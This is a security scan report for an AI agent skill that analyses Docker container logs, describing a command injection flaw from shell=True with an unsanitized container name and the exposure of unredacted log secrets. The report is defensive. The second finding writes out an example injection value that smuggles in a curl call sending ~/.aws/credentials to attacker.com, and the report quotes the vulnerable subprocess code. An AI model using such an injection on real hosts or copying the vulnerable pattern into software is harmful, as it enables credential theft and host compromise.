Docker Pro Diagnostic
3 findings (2 high, 1 medium), mainly command injection, data exfiltration. Most recent scan 2026-02-06.
This Docker diagnostic skill contains a CRITICAL command injection vulnerability due to unsanitized user input being passed to shell execution. The skill legitimately analyzes Docker container logs for troubleshooting, but the implementation has serious security flaws. The primary concern is the use of shell=True with f-string interpolation of user-provided container names, allowing arbitrary command execution. Additionally, the skill accesses Docker logs which may contain sensitive credentials and secrets without any filtering or redaction mechanisms. The missing allowed-tools declaration and lack of input validation compound these security issues. While the skill's stated purpose is legitimate, the implementation requires significant security hardening before it can be safely used.
Scanner's overall assessment (LLM analyzer)
Second scanner: NVIDIA SkillSpector
Independent static run, no language model, over the same files as the Cisco scan above. How the two scanners compare across the whole corpus: Two scanners, one corpus.
What this skill does
Advanced log analysis for Docker containers using signal extraction.
- Package
- 2 files, 2.4 KB
- SKILL.md
- 78 words, 2 sections
- Code
- Python (1)
SKILL.md covers: Docker Pro Diagnostic · Example Command
Findings
HIGH Shell command execution with shell=True enabled Command Injectionstatic
Pattern detected: subprocess.run(cmd, shell=True
log_processor.py:14
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)HIGH Command Injection Vulnerability via Unsanitized Container Name Command Injectionllm
The log_processor.py script constructs a shell command using f-string interpolation with the user-provided container_name parameter without any input validation or sanitization. The command 'docker logs --tail {max_lines} {container_name}' is executed via subprocess.run() with shell=True, allowing arbitrary command injection. An attacker could provide a malicious container name like 'foo; curl http://attacker.com/exfil?data=$(cat ~/.aws/credentials)' to execute arbitrary commands on the host system.
log_processor.py:13
cmd = f"docker logs --tail {max_lines} {container_name}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)MEDIUM Potential Sensitive Data Exposure via Docker Logs Data Exfiltrationllm
The skill reads Docker container logs which commonly contain sensitive information such as API keys, database credentials, authentication tokens, internal IP addresses, and stack traces with code paths. The script extracts and returns up to 50 lines of log content including error context without any filtering or redaction of sensitive data. This information is then passed to the AI agent's reasoning engine, potentially exposing secrets. While the skill's purpose is legitimate log analysis, there are no safeguards against inadvertent credential exposure.
log_processor.py
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
lines = result.stderr.splitlines() + result.stdout.splitlines()
...
return "\n".join(findings[:50])What is in the package
| File | Kind | Size |
|---|---|---|
SKILL.md | doc | 712 B |
log_processor.py | script | 1.7 KB |
Package contents recorded 2026-10-22. The scan above ran against the version current at scan time; the two can differ if the skill has since been updated.
What we checked
- Static analyzer. Pattern rules over SKILL.md and bundled files: known-bad commands, exfiltration URLs, secrets, obfuscation.
- Behavioral analyzer. Checks what the skill asks the agent to do against what its description claims it does.
- Llm analyzer. A language model reads the skill and reports intent-level issues the rules cannot express.
- Trigger analyzer. Looks for instructions that fire on conditions the user did not ask for.
- Meta analyzer. A second model pass that validates, deduplicates and re-scores the other analyzers' findings.
What we did not check
- Runtime behaviour. The skill was not executed; findings come from reading its files.
- Anything fetched at install or run time, including remote scripts, package dependencies, and URLs the skill tells the agent to open.
- Content the analyzers cannot read: images, binaries, and some non-English text.
- Known scanner bypass classes. See the methodology and limitations page.
Sources
- Repository: https://clawhub.ai/skills/docker-diag
- Raw scan result: docker-diag-scan.json
- Badge for your README:
 - Request a re-scan